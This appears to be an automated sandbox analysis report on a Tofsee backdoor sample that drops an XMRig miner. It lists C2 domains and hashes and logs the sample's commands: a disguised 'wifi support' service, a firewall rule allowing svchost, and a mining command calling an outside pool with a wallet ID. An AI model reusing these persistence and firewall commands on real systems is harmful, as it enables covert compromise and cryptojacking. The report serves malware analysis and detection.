Analysis

  • max time kernel
    152s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    22/10/2022, 11:41

General

  • Target
    file.exe
  • Size 223KB
  • Sample221022-ntewrsdadj
  • SHA256 408586bd0170c9cd7d49dc9c33586c2d7a7281ffaeb08f630ea4c85974ff42ba
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xsgvbkgl\
      2⤵
        PID:1616
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jlozuode.exe" C:\Windows\SysWOW64\xsgvbkgl\
        2⤵
          PID:1060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xsgvbkgl binPath= "C:\Windows\SysWOW64\xsgvbkgl\jlozuode.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:812
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xsgvbkgl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1432
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xsgvbkgl
          2⤵
          • Launches sc.exe
          PID:1964
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:744
      • C:\Windows\SysWOW64\xsgvbkgl\jlozuode.exe
        C:\Windows\SysWOW64\xsgvbkgl\jlozuode.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:456
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1988
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1756

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            jlozuode.exe

            • Path C:\Users\Admin\AppData\Local\Temp\jlozuode.exe
            • Size 13.9MB
            • SHA256 62be009cc109759aca5143217ddc92409b135f82b96c26c0863648e69c369ff1
            • MD5 SHA1 SHA512 SSDEEP

            jlozuode.exe

            • Path C:\Windows\SysWOW64\xsgvbkgl\jlozuode.exe
            • Size 13.9MB
            • SHA256 62be009cc109759aca5143217ddc92409b135f82b96c26c0863648e69c369ff1
            • MD5 SHA1 SHA512 SSDEEP

            memory/456-81-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/456-78-0x0000000002DB8000-0x0000000002DCE000-memory.dmp

            memory/456-66-0x0000000002DB8000-0x0000000002DCE000-memory.dmp

            memory/1712-70-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1712-55-0x0000000002CF8000-0x0000000002D0E000-memory.dmp

            memory/1712-58-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1712-57-0x00000000762B1000-0x00000000762B3000-memory.dmp

            memory/1712-69-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1712-68-0x0000000002CF8000-0x0000000002D0E000-memory.dmp

            memory/1712-54-0x0000000002CF8000-0x0000000002D0E000-memory.dmp

            memory/1712-56-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1756-102-0x0000000000080000-0x0000000000171000-memory.dmp

            memory/1756-104-0x0000000000080000-0x0000000000171000-memory.dmp

            memory/1988-86-0x0000000000160000-0x0000000000166000-memory.dmp

            memory/1988-83-0x0000000001A20000-0x0000000001C2F000-memory.dmp

            memory/1988-75-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1988-89-0x0000000000170000-0x0000000000180000-memory.dmp

            memory/1988-92-0x0000000000180000-0x0000000000185000-memory.dmp

            memory/1988-95-0x0000000005420000-0x000000000582B000-memory.dmp

            memory/1988-98-0x0000000000190000-0x0000000000197000-memory.dmp

            memory/1988-101-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1988-82-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1988-73-0x0000000000080000-0x0000000000095000-memory.dmp